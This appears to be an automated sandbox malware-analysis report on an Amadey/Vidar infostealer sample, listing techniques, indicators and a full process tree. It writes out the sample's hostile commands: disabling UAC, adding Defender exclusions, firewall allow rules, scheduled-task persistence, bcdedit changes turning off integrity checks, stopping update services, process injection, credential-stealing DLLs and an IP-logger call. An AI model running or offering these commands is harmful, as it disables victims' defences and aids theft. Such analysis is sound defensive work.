amadey | 221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
2316	bcdedit.exe
2692	bcdedit.exe
1968	bcdedit.exe
2384	bcdedit.exe
812	bcdedit.exe
2016	bcdedit.exe
1152	bcdedit.exe
2588	bcdedit.exe
2416	bcdedit.exe
1712	bcdedit.exe
3056	bcdedit.exe
2472	bcdedit.exe
2000	bcdedit.exe
1100	bcdedit.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
1256	netsh.exe
1716	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 11 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HNXwBF1hWslJi8uXn3hEZDNL.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yVhC6QKXjp86FwxFdU9kzyjO.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SEUjB2J9wSwNiMjokJDtWYV5.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sN0jqm02yfCiV6GzOoRNtToS.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ojPHJWHZIjyrT0ueHRYvlxa8.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3A3zOMdIgnzUrG6F4oeXkHis.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zro8vMFJk8zSWliDKXwJG5Bi.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VXDtgdslF8HsYq7z546uKbP9.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\F8kiFSfW5GvjyrhmHWJy8hkf.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nnb5hRbvjuyD097a85PnWOe2.bat	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VIvQbtjdgb7bzfXT78BbK3yA.bat	InstallUtil.exe

Executes dropped EXE 11 IoCs

pid	Process
776	WTnySbBiXEPgUd6av1auD9t8.exe
1980	VsBiRXrkIcptkeyANambvvrX.exe
2240	Ti7BaeU3IDoi3JgxcuwS4XBO.exe
2800	Mxftz2zy43NjDk3Yx8kPQa4n.exe
1496	VRnBPi60IQwBk18YAVL23Tpl.exe
320	CIHZo3JMT8sejUAgKkyAs4ld.exe
2172	Gz8lAFmhpEYKA9kH1FwuTnTh.exe
1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe
1508	nhdues.exe
868	3Eymw9ybTv5KGhN7eGSjtWsF.tmp
2204	rVbSDBNUf2JPUOzwsmWVmhvc.exe

Loads dropped DLL 17 IoCs

pid	Process
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1980	VsBiRXrkIcptkeyANambvvrX.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
1812	InstallUtil.exe
776	WTnySbBiXEPgUd6av1auD9t8.exe
1980	VsBiRXrkIcptkeyANambvvrX.exe
1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe
1812	InstallUtil.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000016ff2-117.dat	upx
behavioral1/memory/1812-125-0x0000000009050000-0x000000000959D000-memory.dmp	upx
behavioral1/files/0x0006000000016ff2-131.dat	upx
behavioral1/files/0x0006000000016ff2-149.dat	upx
behavioral1/memory/1980-162-0x0000000001340000-0x000000000188D000-memory.dmp	upx
behavioral1/memory/1980-519-0x0000000001340000-0x000000000188D000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2408 set thread context of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2820	sc.exe
1528	sc.exe
1136	sc.exe
1784	sc.exe
1472	sc.exe
2836	sc.exe
2012	sc.exe
2348	sc.exe
2076	sc.exe
1372	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1084	schtasks.exe
2296	schtasks.exe
3068	schtasks.exe
1728	schtasks.exe
1548	schtasks.exe
2208	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1296	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1580	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1812	InstallUtil.exe
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 1580	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2408 wrote to memory of 1580	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2408 wrote to memory of 1580	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2408 wrote to memory of 1580	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	28
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 2408 wrote to memory of 1812	2408	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe	30
PID 1812 wrote to memory of 776	1812	InstallUtil.exe	31
PID 1812 wrote to memory of 776	1812	InstallUtil.exe	31
PID 1812 wrote to memory of 776	1812	InstallUtil.exe	31
PID 1812 wrote to memory of 776	1812	InstallUtil.exe	31
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 1980	1812	InstallUtil.exe	32
PID 1812 wrote to memory of 2240	1812	InstallUtil.exe	33
PID 1812 wrote to memory of 2240	1812	InstallUtil.exe	33
PID 1812 wrote to memory of 2240	1812	InstallUtil.exe	33
PID 1812 wrote to memory of 2240	1812	InstallUtil.exe	33
PID 1812 wrote to memory of 2800	1812	InstallUtil.exe	34
PID 1812 wrote to memory of 2800	1812	InstallUtil.exe	34
PID 1812 wrote to memory of 2800	1812	InstallUtil.exe	34
PID 1812 wrote to memory of 2800	1812	InstallUtil.exe	34
PID 1812 wrote to memory of 1496	1812	InstallUtil.exe	35
PID 1812 wrote to memory of 1496	1812	InstallUtil.exe	35
PID 1812 wrote to memory of 1496	1812	InstallUtil.exe	35
PID 1812 wrote to memory of 1496	1812	InstallUtil.exe	35
PID 1812 wrote to memory of 320	1812	InstallUtil.exe	37
PID 1812 wrote to memory of 320	1812	InstallUtil.exe	37
PID 1812 wrote to memory of 320	1812	InstallUtil.exe	37
PID 1812 wrote to memory of 320	1812	InstallUtil.exe	37
PID 1812 wrote to memory of 2172	1812	InstallUtil.exe	39
PID 1812 wrote to memory of 2172	1812	InstallUtil.exe	39
PID 1812 wrote to memory of 2172	1812	InstallUtil.exe	39
PID 1812 wrote to memory of 2172	1812	InstallUtil.exe	39
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 1812 wrote to memory of 1400	1812	InstallUtil.exe	38
PID 776 wrote to memory of 1508	776	WTnySbBiXEPgUd6av1auD9t8.exe	40
PID 776 wrote to memory of 1508	776	WTnySbBiXEPgUd6av1auD9t8.exe	40
PID 776 wrote to memory of 1508	776	WTnySbBiXEPgUd6av1auD9t8.exe	40
PID 776 wrote to memory of 1508	776	WTnySbBiXEPgUd6av1auD9t8.exe	40
PID 1400 wrote to memory of 868	1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe	41
PID 1400 wrote to memory of 868	1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe	41
PID 1400 wrote to memory of 868	1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe	41
PID 1400 wrote to memory of 868	1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe	41
PID 1400 wrote to memory of 868	1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe	41
PID 1400 wrote to memory of 868	1400	3Eymw9ybTv5KGhN7eGSjtWsF.exe	41

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe

C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe
"C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\221a6c13a9650792ab206e9103190b0cdeb556806ce2250b8b1111b0605098b3.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Users\Admin\Pictures\WTnySbBiXEPgUd6av1auD9t8.exe
    "C:\Users\Admin\Pictures\WTnySbBiXEPgUd6av1auD9t8.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:776
  - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
      "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
      4⤵
      Executes dropped EXE
      PID:1508
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2208
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:2932
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2492
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        6⤵
        
        PID:2508
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        6⤵
        
        PID:1744
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2916
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        6⤵
        
        PID:2896
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        6⤵
        
        PID:2468
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        5⤵
        
        PID:2508
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        
        PID:1320
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        5⤵
        
        PID:2832
- - C:\Users\Admin\Pictures\VsBiRXrkIcptkeyANambvvrX.exe
    "C:\Users\Admin\Pictures\VsBiRXrkIcptkeyANambvvrX.exe" --silent --allusers=0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1980
- - C:\Users\Admin\Pictures\Ti7BaeU3IDoi3JgxcuwS4XBO.exe
    "C:\Users\Admin\Pictures\Ti7BaeU3IDoi3JgxcuwS4XBO.exe"
    3⤵
    - Executes dropped EXE
    PID:2240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\8259092891.exe"
      4⤵
      PID:2408
    - - C:\Users\Admin\AppData\Local\Temp\8259092891.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8259092891.exe"
        5⤵
        
        PID:2836
      - C:\Windows\syswow64\rundll32.exe
        
        "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61 C:\Users\Admin\AppData\Local\Temp\8259092891.exe
        6⤵
        
        PID:1248
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "Ti7BaeU3IDoi3JgxcuwS4XBO.exe" /f & erase "C:\Users\Admin\Pictures\Ti7BaeU3IDoi3JgxcuwS4XBO.exe" & exit
      4⤵
      PID:1872
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Ti7BaeU3IDoi3JgxcuwS4XBO.exe" /f
        5⤵
        Kills process with taskkill
        
        PID:1296
- - C:\Users\Admin\Pictures\Mxftz2zy43NjDk3Yx8kPQa4n.exe
    "C:\Users\Admin\Pictures\Mxftz2zy43NjDk3Yx8kPQa4n.exe"
    3⤵
    - Executes dropped EXE
    PID:2800
- - C:\Users\Admin\Pictures\VRnBPi60IQwBk18YAVL23Tpl.exe
    "C:\Users\Admin\Pictures\VRnBPi60IQwBk18YAVL23Tpl.exe"
    3⤵
    - Executes dropped EXE
    PID:1496
  - - C:\Users\Admin\Pictures\VRnBPi60IQwBk18YAVL23Tpl.exe
      "C:\Users\Admin\Pictures\VRnBPi60IQwBk18YAVL23Tpl.exe"
      4⤵
      PID:880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1688
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1256
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:2136
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1728
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:2844
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:2724
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        
        PID:784
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2316
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2692
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1968
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2384
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:812
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2016
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1152
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2588
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2416
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1712
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:3056
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2472
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2000
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1100
      - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        6⤵
        
        PID:1556
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1548
- - C:\Users\Admin\Pictures\CIHZo3JMT8sejUAgKkyAs4ld.exe
    "C:\Users\Admin\Pictures\CIHZo3JMT8sejUAgKkyAs4ld.exe"
    3⤵
    - Executes dropped EXE
    PID:320
- - C:\Users\Admin\Pictures\3Eymw9ybTv5KGhN7eGSjtWsF.exe
    "C:\Users\Admin\Pictures\3Eymw9ybTv5KGhN7eGSjtWsF.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Users\Admin\AppData\Local\Temp\is-J3FB5.tmp\3Eymw9ybTv5KGhN7eGSjtWsF.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-J3FB5.tmp\3Eymw9ybTv5KGhN7eGSjtWsF.tmp" /SL5="$60162,491750,408064,C:\Users\Admin\Pictures\3Eymw9ybTv5KGhN7eGSjtWsF.exe"
      4⤵
      Executes dropped EXE
      PID:868
    - - C:\Users\Admin\AppData\Local\Temp\is-R4Q61.tmp\8758677____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-R4Q61.tmp\8758677____.exe" /S /UID=lylal220
        5⤵
        
        PID:3056
      - C:\Users\Admin\AppData\Local\Temp\74-e4a16-c1c-d499b-a0b8c979f3235\Cutunufihi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\74-e4a16-c1c-d499b-a0b8c979f3235\Cutunufihi.exe"
        6⤵
        
        PID:1772
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 388
        7⤵
        
        PID:2968
      - C:\Program Files\Google\DTIYPLMWZT\lightcleaner.exe
        
        "C:\Program Files\Google\DTIYPLMWZT\lightcleaner.exe" /VERYSILENT
        6⤵
        
        PID:2560
        
        C:\Users\Admin\AppData\Local\Temp\is-11HUT.tmp\lightcleaner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-11HUT.tmp\lightcleaner.tmp" /SL5="$501B6,833775,56832,C:\Program Files\Google\DTIYPLMWZT\lightcleaner.exe" /VERYSILENT
        7⤵
        
        PID:1460
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start https://iplogger.com/1ciGA4
        6⤵
        
        PID:728
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.com/1ciGA4
        7⤵
        
        PID:1464
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1464 CREDAT:275457 /prefetch:2
        8⤵
        
        PID:1084
- - C:\Users\Admin\Pictures\Gz8lAFmhpEYKA9kH1FwuTnTh.exe
    "C:\Users\Admin\Pictures\Gz8lAFmhpEYKA9kH1FwuTnTh.exe"
    3⤵
    - Executes dropped EXE
    PID:2172
- - C:\Users\Admin\Pictures\rVbSDBNUf2JPUOzwsmWVmhvc.exe
    "C:\Users\Admin\Pictures\rVbSDBNUf2JPUOzwsmWVmhvc.exe"
    3⤵
    - Executes dropped EXE
    PID:2204
- - C:\Users\Admin\Pictures\h15Hs6ewA8wDxuAPG7SwUvHx.exe
    "C:\Users\Admin\Pictures\h15Hs6ewA8wDxuAPG7SwUvHx.exe"
    3⤵
    PID:2992
  - - C:\Users\Admin\Pictures\h15Hs6ewA8wDxuAPG7SwUvHx.exe
      "C:\Users\Admin\Pictures\h15Hs6ewA8wDxuAPG7SwUvHx.exe"
      4⤵
      PID:1972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2416
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:640

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2068
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1784
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1472
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2076
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1372
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2820

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:268

C:\Windows\System32\cmd.exe
